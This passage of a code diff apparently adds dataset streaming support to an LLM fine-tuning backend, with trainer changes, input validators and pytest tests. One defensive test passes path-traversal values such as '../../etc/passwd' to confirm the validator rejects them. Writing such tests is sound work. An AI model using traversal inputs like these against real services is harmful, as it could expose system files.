                 del config_args["num_train_epochs"]
@@ -3159,7 +3288,10 @@ class UnslothTrainer:
                     logger.info(
                         f"✅ Evaluation enabled: eval_steps={eval_steps_val} (fraction of total steps)\n"
                     )
-                    logger.info(f"Eval dataset: {len(eval_dataset)} rows\n")
+                    if hasattr(eval_dataset, "__len__"):
+                        logger.info(f"Eval dataset: {len(eval_dataset)} rows\n")
+                    else:
+                        logger.info("Eval dataset is streaming / length unknown\n")
                 else:
                     logger.info(
                         f"⚠️  Eval dataset provided but eval_steps={eval_steps_val} (disabled)\n"
@@ -3213,6 +3345,12 @@ class UnslothTrainer:
                 # Packing for text models only (DeepSeek OCR is VLM)
                 if not is_deepseek_ocr:
                     packing_enabled = training_args.get("packing", False)
+                    if packing_enabled and training_args.get("dataset_streaming", False):
+                        logger.warning(
+                            "Sequence packing is enabled with dataset streaming: "
+                            "max_steps governs training length and packed-sample "
+                            "counts are approximate since the stream length is unknown.\n"
+                        )
                     config_args["packing"] = packing_enabled
                     logger.info(
                         f"Sequence packing: {'enabled' if packing_enabled else 'disabled'}\n"
@@ -3231,10 +3369,10 @@ class UnslothTrainer:
             logger.info("Training configuration prepared\n")
             # ========== TRAINER INITIALIZATION ==========
             if self.is_audio_vlm and not raw_text_mode:
-                # Audio VLM (e.g. Gemma 3N): raw Dataset from
-                # _format_audio_vlm_dataset, processing_class=processor.tokenizer.
-                # Raw-text runs go to the text path below.
-                train_dataset = dataset if isinstance(dataset, Dataset) else dataset["dataset"]
+                # Audio VLM (e.g. Gemma 3N + audio): raw Dataset from _format_audio_vlm_dataset
+                # Notebook uses processing_class=processor.tokenizer (text tokenizer only)
+                # Raw-text runs are routed to the text path below.
+                train_dataset = dataset["dataset"] if isinstance(dataset, dict) else dataset
                 processing_class = (
                     self.tokenizer.tokenizer
                     if hasattr(self.tokenizer, "tokenizer")
@@ -3275,9 +3413,7 @@ class UnslothTrainer:
                 if isinstance(self.tokenizer, ProcessorMixin) and hasattr(
                     self.tokenizer, "tokenizer"
                 ):
-                    logger.info(
-                        f"  ⚠️ Unwrapping Processor → raw tokenizer for text-only SFTTrainer"
-                    )
+                    logger.info("Unwrapping Processor → raw tokenizer for text-only SFTTrainer")
                     sft_tokenizer = self.tokenizer.tokenizer
 
                 if is_cpt:
@@ -3405,58 +3541,44 @@ class UnslothTrainer:
                     )
                     logger.info("Train on responses only configured successfully\n")
 
-                    # Safety net: train_on_responses_only masks non-response
-                    # tokens with -100. If max_seq_length is too short, the
-                    # response is truncated away, every sample becomes all -100,
-                    # and Unsloth drops them, leaving 0 usable samples.
-                    filtered_len = len(self.trainer.train_dataset)
-                    original_len = len(dataset["dataset"])
-                    dropped = original_len - filtered_len
-                    drop_pct = round(100 * dropped / original_len, 1) if original_len > 0 else 0
-
-                    if filtered_len == 0 or drop_pct > 30:
-                        max_seq = training_args.get("max_seq_length", 2048)
-                        error_msg = (
-                            f"{dropped}/{original_len} samples ({drop_pct}%) "
-                            f"were dropped after applying 'train on responses "
-                            f"only' — only {filtered_len} remain. This usually "
-                            f"means max_seq_length ({max_seq}) is too short "
-                            f"and the response portion is being truncated "
-                            f"away. Try increasing max_seq_length (e.g. 8192) "
-                            f"or disabling 'Train on completions'."
+                    # ── Safety net: check if all samples were filtered out ──
+                    # train_on_responses_only masks non-response tokens with -100;
+                    # if max_seq_length is too short the response is truncated away,
+                    # every sample becomes all -100, and Unsloth drops them, leaving
+                    # 0 usable samples. Skip this len()-based check for streaming.
+                    if detect_streaming_dataset(self.trainer.train_dataset):
+                        logger.info("Skipping post-filter length check for streaming dataset\n")
+                    else:
+                        filtered_len = len(self.trainer.train_dataset)
+                        original_dataset_obj = (
+                            dataset["dataset"] if isinstance(dataset, dict) else dataset
                         )
-                        logger.error(error_msg)
-                        self._update_progress(error = error_msg, is_training = False)
-                        return
+                        original_len = len(original_dataset_obj)
+                        dropped = original_len - filtered_len
+                        drop_pct = round(100 * dropped / original_len, 1) if original_len > 0 else 0
 
-                    if dropped > 0:
-                        logger.info(
-                            f"⚠️ {dropped}/{original_len} samples "
-                            f"({drop_pct}%) were dropped (all labels "
-                            f"masked). {filtered_len} samples remain.\n"
-                        )
-                    logger.info(f"Post-filter dataset size: {filtered_len} samples\n")
+                        if filtered_len == 0 or drop_pct > 30:
+                            max_seq = training_args.get("max_seq_length", 2048)
+                            error_msg = (
+                                f"{dropped}/{original_len} samples ({drop_pct}%) "
+                                f"were dropped after applying 'train on responses "
+                                f"only' — only {filtered_len} remain. This usually "
+                                f"means max_seq_length ({max_seq}) is too short "
+                                f"and the response portion is being truncated "
+                                f"away. Try increasing max_seq_length (e.g. 8192) "
+                                f"or disabling 'Train on completions'."
+                            )
+                            logger.error(error_msg)
+                            self._update_progress(error = error_msg, is_training = False)
+                            return
 
-                    # [DEBUG] Decode first sample AFTER train_on_completions applied
-                    # try:
-                    #     _row = self.trainer.train_dataset[0]
-                    #     _space = self.tokenizer(
-                    #         " ", add_special_tokens = False
-                    #     ).input_ids[0]
-                    #     print("[DEBUG] === After train_on_completions ===", flush = True)
-                    #     print(
-                    #         f"[DEBUG] input_ids decoded:\n{self.tokenizer.decode(_row['input_ids'])}\n",
-                    #         flush = True,
-                    #     )
-                    #     print(
-                    #         f"[DEBUG] labels decoded (-100 → space):\n{self.tokenizer.decode([_space if x == -100 else x for x in _row['labels']])}\n",
-                    #         flush = True,
-                    #     )
-                    # except Exception as _dbg_e:
-                    #     print(
-                    #         f"[DEBUG] Could not decode post-completions sample: {_dbg_e}",
-                    #         flush = True,
-                    #     )
+                        if dropped > 0:
+                            logger.info(
+                                f"⚠️ {dropped}/{original_len} samples "
+                                f"({drop_pct}%) were dropped (all labels "
+                                f"masked). {filtered_len} samples remain.\n"
+                            )
+                        logger.info(f"Post-filter dataset size: {filtered_len} samples\n")
 
                 except Exception as e:
                     logger.warning(f"Failed to apply train on responses only: {e}")
@@ -3470,27 +3592,41 @@ class UnslothTrainer:
             # ========== PROGRESS TRACKING ==========
             self.trainer.add_callback(self._create_progress_callback())
 
-            num_samples = None
-            if hasattr(self.trainer, "train_dataset") and self.trainer.train_dataset is not None:
-                try:
-                    num_samples = len(self.trainer.train_dataset)
-                except TypeError:
-                    logger.debug(
-                        "train_dataset does not support len(); falling back to "
-                        "raw dataset size for step estimation."
-                    )
+            train_dataset_obj = dataset["dataset"] if isinstance(dataset, dict) else dataset
+            is_streaming_dataset = detect_streaming_dataset(train_dataset_obj)
 
-            if num_samples is None:
-                num_samples = len(dataset["dataset"] if isinstance(dataset, dict) else dataset)
+            max_steps_value = training_args.get("max_steps")
+            max_steps = 0 if max_steps_value is None else int(max_steps_value)
 
-            batch_size = training_args.get("batch_size", 2)
-            total_steps = self._calculate_total_steps(
-                num_samples,
-                batch_size,
-                training_args.get("gradient_accumulation_steps", 4),
-                training_args.get("num_epochs", 3),
-                training_args.get("max_steps", 0),
-            )
+            if is_streaming_dataset and max_steps <= 0:
+                raise ValueError(
+                    "Streaming mode requires max_steps > 0 because the training dataset has no length."
+                )
+
+            if is_streaming_dataset:
+                total_steps = max_steps
+            else:
+                # Prefer the trainer's processed dataset length (post
+                # train-on-responses filtering); fall back to the raw dataset
+                # if it has no len().
+                num_samples = None
+                if getattr(self.trainer, "train_dataset", None) is not None:
+                    try:
+                        num_samples = len(self.trainer.train_dataset)
+                    except TypeError:
+                        num_samples = None
+                if num_samples is None:
+                    num_samples = len(train_dataset_obj)
+                batch_size = training_args.get("batch_size", 2)
+                total_steps = self._calculate_total_steps(
+                    num_samples,
+                    batch_size,
+                    training_args.get("gradient_accumulation_steps", 4),
+                    training_args.get("num_epochs", 3),
+                    max_steps,
+                )
+
+            self._update_progress(total_steps = total_steps)
             # ========== START TRAINING ==========
             # Fail fast on an invalid first batch (empty/float input_ids) vs a step-1 crash.
             preflight_error = self._preflight_first_batch()
diff --git a/studio/backend/core/training/training.py b/studio/backend/core/training/training.py
index 052826e579..34bb4331a7 100644
--- a/studio/backend/core/training/training.py
+++ b/studio/backend/core/training/training.py
@@ -281,6 +281,7 @@ class TrainingBackend:
             "train_split": kwargs.get("train_split", "train"),
             "eval_split": kwargs.get("eval_split"),
             "eval_steps": kwargs.get("eval_steps", 0.00),
+            "dataset_streaming": kwargs.get("dataset_streaming", False),
             "dataset_slice_start": kwargs.get("dataset_slice_start"),
             "dataset_slice_end": kwargs.get("dataset_slice_end"),
             "custom_format_mapping": kwargs.get("custom_format_mapping"),
diff --git a/studio/backend/core/training/worker.py b/studio/backend/core/training/worker.py
index cd243c6a21..70c3bc9a28 100644
--- a/studio/backend/core/training/worker.py
+++ b/studio/backend/core/training/worker.py
@@ -2801,6 +2801,7 @@ def run_training_process(*, event_queue: Any, stop_queue: Any, config: dict) ->
             subset = config.get("subset"),
             train_split = config.get("train_split", "train"),
             eval_split = config.get("eval_split"),
+            dataset_streaming = config.get("dataset_streaming", False),
             eval_steps = config.get("eval_steps", 0.00),
             dataset_slice_start = config.get("dataset_slice_start"),
             dataset_slice_end = config.get("dataset_slice_end"),
diff --git a/studio/backend/models/training.py b/studio/backend/models/training.py
index ae3061d943..670d5f911d 100644
--- a/studio/backend/models/training.py
+++ b/studio/backend/models/training.py
@@ -27,6 +27,10 @@ _MAX_LORA_ALPHA = 32_768
 _MIN_VISION_IMAGE_SIZE = 256
 # 2048 is the highest most llms stay stable at
 _MAX_VISION_IMAGE_SIZE = 2048
+# Upper bound for dataset slice indices. Caps `.skip(n)` on streaming datasets so
+# an absurd index can't make the loader iterate effectively forever (DoS guard).
+# 1e9 is far beyond any realistic fine-tuning dataset row count.
+_MAX_DATASET_SLICE_INDEX = 1_000_000_000
 
 
 class S3Config(BaseModel):
@@ -125,12 +129,22 @@ class TrainingStartRequest(BaseModel):
     subset: Optional[str] = None
     train_split: Optional[str] = Field("train", description = "Training split name")
     eval_split: Optional[str] = Field(None, description = "Eval split name. None = auto-detect")
+    dataset_streaming: bool = Field(
+        False,
+        description = "Whether to load the Hugging Face dataset in streaming mode",
+    )
     eval_steps: float = Field(0.00, description = "Fraction of total steps between evals (0-1)")
     dataset_slice_start: Optional[int] = Field(
-        None, description = "Inclusive start row index for dataset slicing"
+        None,
+        ge = 0,
+        le = _MAX_DATASET_SLICE_INDEX,
+        description = "Inclusive start row index for dataset slicing",
     )
     dataset_slice_end: Optional[int] = Field(
-        None, description = "Inclusive end row index for dataset slicing"
+        None,
+        ge = 0,
+        le = _MAX_DATASET_SLICE_INDEX,
+        description = "Inclusive end row index for dataset slicing",
     )
 
     @model_validator(mode = "before")
@@ -141,6 +155,70 @@ class TrainingStartRequest(BaseModel):
             values.setdefault("train_split", values.pop("split"))
         return values
 
+    # NOTE: pydantic runs all `mode="after"` validators in definition order. A
+    # second one, `_check_steps_or_epochs`, is defined lower in this class; keep
+    # these cross-field checks order-independent so the two stay decoupled.
+    @model_validator(mode = "after")
+    def _validate_dataset_slice(self) -> "TrainingStartRequest":
+        # Only the ordering is validated here. No upper bound is enforced on the
+        # indices: the trainer slices via datasets `.take()` / `.select()`, which
+        # clamp gracefully when the end index exceeds the dataset length.
+        # start == end is intentionally allowed (deliberate single-row slice,
+        # e.g. for debugging); the trainer logs a warning for that 1-row case.
+        if (
+            self.dataset_slice_start is not None
+            and self.dataset_slice_end is not None
+            and self.dataset_slice_end < self.dataset_slice_start
+        ):
+            raise ValueError(
+                "dataset_slice_end must be greater than or equal to dataset_slice_start"
+            )
+        return self
+
+    @field_validator("hf_dataset")
+    @classmethod
+    def _check_hf_dataset(cls, v: Optional[str]) -> Optional[str]:
+        # Constrain the HF dataset id to a safe charset + length to shrink the
+        # path-traversal / SSRF surface of `load_dataset(<id>, ...)`.
+        if v is None:
+            return v
+        v = v.strip()
+        if not v:
+            return None
+        if len(v) > 256:
+            raise ValueError("hf_dataset is too long (max 256 chars)")
+        if ".." in v:
+            raise ValueError("hf_dataset must not contain '..'")
+        if not re.fullmatch(r"[A-Za-z0-9._\-/]+", v):
+            raise ValueError("hf_dataset may only contain letters, digits, '_', '-', '.', '/'")
+        return v
+
+    @field_validator("subset")
+    @classmethod
+    def _check_subset(cls, v: Optional[str]) -> Optional[str]:
+        if v is None:
+            return v
+        if len(v) > 128:
+            raise ValueError("subset is too long (max 128 chars)")
+        if not re.fullmatch(r"[A-Za-z0-9._\-]*", v):
+            raise ValueError("subset may only contain letters, digits, '_', '-', '.'")
+        return v
+
+    @field_validator("train_split", "eval_split")
+    @classmethod
+    def _check_split_name(cls, v: Optional[str]) -> Optional[str]:
+        # Split names feed HF slice syntax (e.g. "train[:80%]"), so allow that
+        # charset but cap length and block path-traversal / NUL bytes.
+        if v is None:
+            return v
+        if len(v) > 128:
+            raise ValueError("split name is too long (max 128 chars)")
+        if "\x00" in v or ".." in v or "/" in v or "\\" in v:
+            raise ValueError("split name contains invalid characters")
+        if not re.fullmatch(r"[A-Za-z0-9_\-\[\]:%.+ ]*", v):
+            raise ValueError("split name contains invalid characters")
+        return v
+
     @field_validator("learning_rate", mode = "before")
     @classmethod
     def _check_learning_rate(cls, v):
@@ -415,6 +493,24 @@ class TrainingStartRequest(BaseModel):
         description = "S3 bucket configuration for loading datasets from AWS S3. Requires boto3 to be installed.",
     )
 
+    @model_validator(mode = "after")
+    def _validate_streaming_splits(self) -> "TrainingStartRequest":
+        # Streaming load_dataset does not accept HF slice syntax (e.g. "train[:50%]"
+        # or "train[:20]"). Probe-confirmed: raises ValueError: Bad split. Reject
+        # early with a clear message so the user knows to use a plain split name.
+        if self.dataset_streaming:
+            for field_name, split_val in (
+                ("train_split", self.train_split),
+                ("eval_split", self.eval_split),
+            ):
+                if split_val is not None and "[" in split_val:
+                    raise ValueError(
+                        f"dataset_streaming does not support HF slice syntax in {field_name} "
+                        f"(got {split_val!r}); streaming load_dataset raises 'Bad split' on "
+                        "bracket expressions. Use a plain split name (e.g. 'train', 'validation')."
+                    )
+        return self
+
     @model_validator(mode = "after")
     def _check_steps_or_epochs(self) -> "TrainingStartRequest":
         # Each accepts 0 as "use the other"; both 0 means nothing to train.
diff --git a/studio/backend/routes/training.py b/studio/backend/routes/training.py
index 0b0191ba12..8da0dc508f 100644
--- a/studio/backend/routes/training.py
+++ b/studio/backend/routes/training.py
@@ -185,6 +185,68 @@ async def start_training(
                 )
             request.resume_from_checkpoint = resume_checkpoint
 
+        # Validate streaming-mode compatibility before any expensive work.
+        # Streaming is supported only for Hugging Face text datasets.
+        if request.dataset_streaming:
+            if not request.hf_dataset:
+                raise HTTPException(
+                    status_code = 400,
+                    detail = "dataset_streaming requires hf_dataset; streaming is not supported for local datasets.",
+                )
+            if request.is_dataset_image or request.is_dataset_audio:
+                raise HTTPException(
+                    status_code = 400,
+                    detail = "dataset_streaming is not supported for vision or audio datasets.",
+                )
+            if request.is_embedding:
+                raise HTTPException(
+                    status_code = 400,
+                    detail = "dataset_streaming is not supported for embedding training; the embedding loader needs the full dataset.",
+                )
+            from utils.hardware import hardware as _hw
+
+            if _hw.DEVICE == _hw.DeviceType.MLX:
+                raise HTTPException(
+                    status_code = 400,
+                    detail = "dataset_streaming is not yet supported on Apple Silicon (MLX); the MLX loader materializes the full dataset.",
+                )
+            if request.max_steps is None or request.max_steps <= 0:
+                raise HTTPException(
+                    status_code = 422,
+                    detail = "dataset_streaming requires max_steps > 0 because streaming datasets have no known length.",
+                )
+            if request.train_on_completions:
+                raise HTTPException(
+                    status_code = 422,
+                    detail = "dataset_streaming is not supported with train_on_completions yet.",
+                )
+            if request.eval_steps > 0:
+                train_split = request.train_split or "train"
+                if not request.eval_split or request.eval_split == train_split:
+                    raise HTTPException(
+                        status_code = 422,
+                        detail = "dataset_streaming with evaluation requires a separate eval_split.",
+                    )
+            # Streaming is HF-only: reject when the request also carries a local
+            # dataset path or an S3 config; those sources cannot be streamed via
+            # HF's streaming loader.
+            if request.local_datasets:
+                raise HTTPException(
+                    status_code = 400,
+                    detail = (
+                        "dataset_streaming is HF-only; remove local_datasets / S3 source. "
+                        "Streaming is not supported with local file paths."
+                    ),
+                )
+            if request.s3_config is not None:
+                raise HTTPException(
+                    status_code = 400,
+                    detail = (
+                        "dataset_streaming is HF-only; remove local_datasets / S3 source. "
+                        "Streaming is not supported with S3 datasets."
+                    ),
+                )
+
         # Convert request to backend kwargs.
         training_kwargs = {
             "model_name": request.model_name,
@@ -199,6 +261,7 @@ async def start_training(
             "format_type": request.format_type,
             "subset": request.subset,
             "train_split": request.train_split,
+            "dataset_streaming": request.dataset_streaming,
             "eval_split": request.eval_split,
             "eval_steps": request.eval_steps,
             "dataset_slice_start": request.dataset_slice_start,
diff --git a/studio/backend/tests/test_training_streaming.py b/studio/backend/tests/test_training_streaming.py
new file mode 100644
index 0000000000..8ff016d3bf
--- /dev/null
+++ b/studio/backend/tests/test_training_streaming.py
@@ -0,0 +1,560 @@
+# SPDX-License-Identifier: AGPL-3.0-only
+# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
+
+from __future__ import annotations
+
+import asyncio
+import importlib.util
+from pathlib import Path
+from types import SimpleNamespace
+from unittest.mock import patch
+
+import pytest
+from fastapi import HTTPException
+from pydantic import ValidationError
+
+from models.training import TrainingStartRequest
+from utils.datasets.chat_templates import apply_chat_template_to_dataset
+from utils.datasets.format_conversion import convert_chatml_to_alpaca
+from utils.datasets.iterable import is_streaming_dataset
+
+datasets = pytest.importorskip("datasets")
+
+_BACKEND_ROOT = Path(__file__).resolve().parent.parent
+
+
+def _load_route_module(name: str, relative_path: str):
+    spec = importlib.util.spec_from_file_location(name, _BACKEND_ROOT / relative_path)
+    module = importlib.util.module_from_spec(spec)
+    spec.loader.exec_module(module)
+    return module
+
+
+class _Tokenizer:
+    eos_token = "</s>"
+    chat_template = "{{ messages }}"
+
+    def apply_chat_template(
+        self,
+        conversation,
+        *,
+        tokenize = False,
+        add_generation_prompt = False,
+    ):
+        assert tokenize is False
+        assert add_generation_prompt is False
+        return "\n".join(f"{message['role']}: {message['content']}" for message in conversation)
+
+
+def _iterable_dataset(rows):
+    return datasets.IterableDataset.from_generator(lambda: iter(rows))
+
+
+# --- Streaming keeps dataset.map() lazy: eager-only kwargs (num_proc/desc) are
+#     omitted for IterableDatasets, which reject them. One per module. ---
+
+
+def test_chat_template_mapping_omits_eager_kwargs_for_streaming(monkeypatch):
+    seen_kwargs = []
+    original_map = datasets.IterableDataset.map
+
+    def spy_map(self, *args, **kwargs):
+        seen_kwargs.append(dict(kwargs))
+        return original_map(self, *args, **kwargs)
+
+    monkeypatch.setattr(datasets.IterableDataset, "map", spy_map)
+
+    dataset = _iterable_dataset(
+        [
+            {
+                "conversations": [
+                    {"role": "user", "content": "Hi"},
+                    {"role": "assistant", "content": "Hello"},
+                ]
+            }
+        ]
+    )
+    result = apply_chat_template_to_dataset(
+        {
+            "dataset": dataset,
+            "final_format": "chatml_conversations",
+            "chat_column": "conversations",
+            "is_standardized": True,
+        },
+        tokenizer = _Tokenizer(),
+        batch_size = 1,
+        num_proc = 2,
+    )
+
+    assert result["success"] is True
+    row = next(iter(result["dataset"]))
+    assert "user: Hi" in row["text"]
+    assert seen_kwargs
+    assert all("num_proc" not in kwargs for kwargs in seen_kwargs)
+    assert all("desc" not in kwargs for kwargs in seen_kwargs)
+
+
+def test_format_conversion_omits_eager_kwargs_for_streaming(monkeypatch):
+    seen_kwargs = []
+    original_map = datasets.IterableDataset.map
+
+    def spy_map(self, *args, **kwargs):
+        seen_kwargs.append(dict(kwargs))
+        return original_map(self, *args, **kwargs)
+
+    monkeypatch.setattr(datasets.IterableDataset, "map", spy_map)
+
+    converted = convert_chatml_to_alpaca(
+        _iterable_dataset(
+            [
+                {
+                    "conversations": [
+                        {"from": "human", "value": "Question"},
+                        {"from": "gpt", "value": "Answer"},
+                    ]
+                }
+            ]
+        ),
+        batch_size = 1,
+        num_proc = 2,
+    )
+
+    row = next(iter(converted))
+    assert row["instruction"] == "Question"
+    assert row["output"] == "Answer"
+    assert seen_kwargs
+    assert all("num_proc" not in kwargs for kwargs in seen_kwargs)
+    assert all("desc" not in kwargs for kwargs in seen_kwargs)
+
+
+# --- Streaming detection ---
+
+
+def test_is_streaming_dataset_detects_hf_iterable():
+    assert is_streaming_dataset(_iterable_dataset([{"a": 1}])) is True
+
+
+def test_is_streaming_dataset_false_for_plain_list():
+    assert is_streaming_dataset([{"a": 1}]) is False
+
+
+# --- Raw-text / CPT streaming: keep the lazy filter, skip the len()-based
+#     counting that would TypeError on an IterableDataset (the BLOCKER fix). ---
+
+
+def test_drop_invalid_text_rows_streaming_keeps_filter_skips_len():
+    from utils.datasets.raw_text import _drop_invalid_text_rows
+
+    stream = datasets.Dataset.from_list(
+        [{"text": "keep1"}, {"text": None}, {"text": "keep2"}]
+    ).to_iterable_dataset()
+    assert not hasattr(stream, "__len__")
+
+    filtered, notices = _drop_invalid_text_rows(
+        stream, mode_title = "Raw text", split_scope = "this dataset"
+    )
+
+    # Result still streams; only string-'text' rows survive.
+    assert [row["text"] for row in filtered] == ["keep1", "keep2"]
+    assert any(n.level == "info" for n in notices)
+
+
+# --- Request validation ---
+
+
+def test_dataset_slice_bounds_are_non_negative():
+    with pytest.raises(ValidationError):
+        TrainingStartRequest(
+            model_name = "unsloth/test",
+            training_type = "LoRA/QLoRA",
+            format_type = "alpaca",
+            dataset_slice_start = -1,
+        )
+
+    with pytest.raises(ValidationError):
+        TrainingStartRequest(
+            model_name = "unsloth/test",
+            training_type = "LoRA/QLoRA",
+            format_type = "alpaca",
+            dataset_slice_start = 5,
+            dataset_slice_end = 4,
+        )
+
+
+@pytest.mark.parametrize(
+    "bad_hf_dataset",
+    ["../../etc/passwd", "org/../../secret", "a" * 257],
+)
+def test_hf_dataset_rejects_unsafe_values(bad_hf_dataset):
+    with pytest.raises(ValidationError):
+        TrainingStartRequest(
+            model_name = "unsloth/test",
+            training_type = "LoRA/QLoRA",
+            format_type = "alpaca",
+            hf_dataset = bad_hf_dataset,
+        )
+
+
+# --- Start-route streaming compatibility guards ---
+
+
+def test_streaming_start_rejects_train_on_completions_before_backend_start():
+    training_route = _load_route_module(
+        "training_route_module_for_streaming_completion_test",
+        "routes/training.py",
+    )
+    request = TrainingStartRequest(
+        model_name = "unsloth/test",
+        training_type = "LoRA/QLoRA",
+        hf_dataset = "org/dataset",
+        format_type = "chatml",
+        dataset_streaming = True,
+        train_on_completions = True,
+        max_steps = 10,
+    )
+
+    backend = SimpleNamespace(
+        current_job_id = None,
+        is_training_active = lambda: False,
+        start_training = lambda **kwargs: pytest.fail("backend should not start"),
+    )
+
+    with patch.object(training_route, "get_training_backend", return_value = backend):
+        with pytest.raises(HTTPException) as exc_info:
+            asyncio.run(training_route.start_training(request, current_subject = "test-user"))
+
+    assert exc_info.value.status_code == 422
+    assert "train_on_completions" in exc_info.value.detail
+
+
+@pytest.mark.parametrize("eval_split", [None, "train"])
+def test_streaming_start_requires_separate_eval_split(eval_split):
+    training_route = _load_route_module(
+        "training_route_module_for_streaming_eval_test",
+        "routes/training.py",
+    )
+    request = TrainingStartRequest(
+        model_name = "unsloth/test",
+        training_type = "LoRA/QLoRA",
+        hf_dataset = "org/dataset",
+        format_type = "chatml",
+        dataset_streaming = True,
+        train_split = "train",
+        eval_split = eval_split,
+        eval_steps = 0.1,
+        max_steps = 10,
+    )
+
+    backend = SimpleNamespace(
+        current_job_id = None,
+        is_training_active = lambda: False,
+        start_training = lambda **kwargs: pytest.fail("backend should not start"),
+    )
+
+    with patch.object(training_route, "get_training_backend", return_value = backend):
+        with pytest.raises(HTTPException) as exc_info:
+            asyncio.run(training_route.start_training(request, current_subject = "test-user"))
+
+    assert exc_info.value.status_code == 422
+    assert "separate eval_split" in exc_info.value.detail
+
+
+def test_streaming_start_rejects_missing_max_steps():
+    training_route = _load_route_module(
+        "training_route_module_for_streaming_max_steps_test",
+        "routes/training.py",
+    )
+    request = TrainingStartRequest(
+        model_name = "unsloth/test",
+        training_type = "LoRA/QLoRA",
+        hf_dataset = "org/dataset",
+        format_type = "chatml",
+        dataset_streaming = True,
+        max_steps = 0,
+    )
+
+    backend = SimpleNamespace(
+        current_job_id = None,
+        is_training_active = lambda: False,
+        start_training = lambda **kwargs: pytest.fail("backend should not start"),
+    )
+
+    with patch.object(training_route, "get_training_backend", return_value = backend):
+        with pytest.raises(HTTPException) as exc_info:
+            asyncio.run(training_route.start_training(request, current_subject = "test-user"))
+
+    assert exc_info.value.status_code == 422
+    assert "max_steps" in exc_info.value.detail
+
+
+def test_streaming_start_rejects_embedding_models():
+    # The embedding training path loads the full dataset (no streaming) and uses
+    # len/select, so the route must reject streaming for embedding runs even on a
+    # direct API call (the UI blocker doesn't cover that).
+    training_route = _load_route_module(
+        "training_route_module_for_streaming_embedding_test",
+        "routes/training.py",
+    )
+    request = TrainingStartRequest(
+        model_name = "unsloth/test",
+        training_type = "LoRA/QLoRA",
+        hf_dataset = "org/dataset",
+        format_type = "chatml",
+        dataset_streaming = True,
+        is_embedding = True,
+        max_steps = 10,
+    )
+
+    backend = SimpleNamespace(
+        current_job_id = None,
+        is_training_active = lambda: False,
+        start_training = lambda **kwargs: pytest.fail("backend should not start"),
+    )
+
+    with patch.object(training_route, "get_training_backend", return_value = backend):
+        with pytest.raises(HTTPException) as exc_info:
+            asyncio.run(training_route.start_training(request, current_subject = "test-user"))
+
+    assert exc_info.value.status_code == 400
+    assert "embedding" in exc_info.value.detail
+
+
+@pytest.mark.parametrize(
+    "training_type, format_type",
+    [
+        ("LoRA/QLoRA", "raw"),  # raw-text format
+        ("Continued Pretraining", "chatml"),  # CPT
+    ],
+)
+def test_streaming_start_accepts_raw_text_and_cpt(training_type, format_type):
+    # Streaming + raw-text / CPT is supported: _drop_invalid_text_rows skips its
+    # len()-based checks for IterableDatasets, so the start route must NOT reject.
+    training_route = _load_route_module(
+        "training_route_module_for_streaming_raw_cpt_accept_test",
+        "routes/training.py",
+    )
+    request = TrainingStartRequest(
+        model_name = "unsloth/test",
+        training_type = training_type,
+        hf_dataset = "org/dataset",
+        format_type = format_type,
+        dataset_streaming = True,
+        max_steps = 10,
+    )
+
+    captured = {}
+
+    def _start_training(**kwargs):
+        captured.update(kwargs)
+        return True
+
+    backend = SimpleNamespace(
+        current_job_id = "job_test",
+        is_training_active = lambda: False,
+        start_training = _start_training,
+    )
+
+    with patch.object(training_route, "get_training_backend", return_value = backend):
+        with patch.object(training_route, "load_model_defaults", return_value = {}):
+            response = asyncio.run(
+                training_route.start_training(request, current_subject = "test-user")
+            )
+
+    assert response.status == "queued"
+    assert captured["dataset_streaming"] is True
+    assert captured["format_type"] == format_type
+
+
+def test_streaming_start_happy_path_reaches_backend():
+    training_route = _load_route_module(
+        "training_route_module_for_streaming_happy_path_test",
+        "routes/training.py",
+    )
+    request = TrainingStartRequest(
+        model_name = "unsloth/test",
+        training_type = "LoRA/QLoRA",
+        hf_dataset = "org/dataset",
+        format_type = "chatml",
+        dataset_streaming = True,
+        train_split = "train",
+        eval_split = "validation",
+        eval_steps = 0.1,
+        max_steps = 10,
+    )
+
+    captured = {}
+
+    def _start_training(**kwargs):
+        captured.update(kwargs)
+        return True
+
+    backend = SimpleNamespace(
+        current_job_id = "job_test",
+        is_training_active = lambda: False,
+        start_training = _start_training,
+    )
+
+    with patch.object(training_route, "get_training_backend", return_value = backend):
+        with patch.object(training_route, "load_model_defaults", return_value = {}):
+            response = asyncio.run(
+                training_route.start_training(request, current_subject = "test-user")
+            )
+
+    assert response.status == "queued"
+    assert captured["dataset_streaming"] is True
+    assert captured["max_steps"] == 10
+    assert captured["eval_split"] == "validation"
+
+
+# streaming rejects HF slice syntax in train_split / eval_split
+
+
+@pytest.mark.parametrize(
+    "field, value",
+    [
+        ("train_split", "train[:50%]"),
+        ("train_split", "train[:20]"),
+        ("eval_split", "validation[:1000]"),
+    ],
+)
+def test_streaming_rejects_bracketed_split_syntax(field, value):
+    # The model_validator _validate_streaming_splits raises ValidationError when
+    # dataset_streaming=True and a split contains "[" (HF slice syntax).
+    kwargs = {
+        "model_name": "unsloth/test",
+        "training_type": "LoRA/QLoRA",
+        "hf_dataset": "org/dataset",
+        "format_type": "chatml",
+        "dataset_streaming": True,
+        "max_steps": 10,
+        field: value,
+    }
+    with pytest.raises(ValidationError) as exc_info:
+        TrainingStartRequest(**kwargs)
+    detail = str(exc_info.value)
+    assert "slice" in detail.lower() or "bracket" in detail.lower() or "[" in detail
+
+
+# streaming rejects mixed sources (local_datasets)
+
+
+def test_streaming_start_rejects_local_datasets():
+    # dataset_streaming + local_datasets -> 400, 'local' in detail
+    training_route = _load_route_module(
+        "training_route_module_for_streaming_local_datasets_test",
+        "routes/training.py",
+    )
+    request = TrainingStartRequest(
+        model_name = "unsloth/test",
+        training_type = "LoRA/QLoRA",
+        hf_dataset = "org/dataset",
+        format_type = "chatml",
+        dataset_streaming = True,
+        max_steps = 10,
+    )
+    # Bypass Pydantic's local-path validation by injecting directly after construction.
+    object.__setattr__(request, "local_datasets", ["/some/local/file.jsonl"])
+
+    backend = SimpleNamespace(
+        current_job_id = None,
+        is_training_active = lambda: False,
+        start_training = lambda **kwargs: pytest.fail("backend should not start"),
+    )
+
+    with patch.object(training_route, "get_training_backend", return_value = backend):
+        with pytest.raises(HTTPException) as exc_info:
+            asyncio.run(training_route.start_training(request, current_subject = "test-user"))
+
+    assert exc_info.value.status_code == 400
+    assert "local" in exc_info.value.detail.lower() or "hf-only" in exc_info.value.detail.lower()
+
+
+# _drop_invalid_text_rows handles from_generator with column_names=None
+
+
+def test_drop_invalid_text_rows_from_generator_none_column_names():
+    # from_generator IterableDatasets have column_names=None; resolve_column_names
+    # must fall back to first-row probe. _drop_invalid_text_rows must not raise
+    # TypeError and must filter correctly.
